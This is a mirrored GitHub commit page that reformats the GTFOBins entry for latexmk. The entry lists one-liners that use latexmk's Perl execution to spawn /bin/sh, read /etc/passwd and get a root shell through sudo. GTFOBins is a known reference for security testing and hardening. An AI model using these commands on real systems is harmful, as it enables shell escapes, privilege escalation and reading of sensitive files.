mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Fix latexmk
This commit is contained in:
parent
51d6848786
commit
a91775b84a
@ -1,10 +1,14 @@
|
|||||||
|
---
|
||||||
description: This allows to execute [`perl`](/gtfobins/perl/) code.
|
description: This allows to execute [`perl`](/gtfobins/perl/) code.
|
||||||
functions:
|
functions:
|
||||||
shell:
|
shell:
|
||||||
- code: latexmk -e 'exec "/bin/sh";'
|
- code: |
|
||||||
- code: latexmk -latex='/bin/sh #' /dev/null
|
latexmk -e 'exec "/bin/sh";'
|
||||||
|
- code: |
|
||||||
|
latexmk -latex='/bin/sh #' /dev/null
|
||||||
file-read:
|
file-read:
|
||||||
- code: latexmk -e 'open(X,"/etc/passwd");while(<X>){print $_;}exit'
|
- code: |
|
||||||
|
latexmk -e 'open(X,"/etc/passwd");while(<X>){print $_;}exit'
|
||||||
- description: The read file will be part of the output.
|
- description: The read file will be part of the output.
|
||||||
code: |
|
code: |
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
@ -12,3 +16,4 @@ functions:
|
|||||||
strings tmp.dvi
|
strings tmp.dvi
|
||||||
sudo:
|
sudo:
|
||||||
- code: sudo latexmk -e 'exec "/bin/sh";'
|
- code: sudo latexmk -e 'exec "/bin/sh";'
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user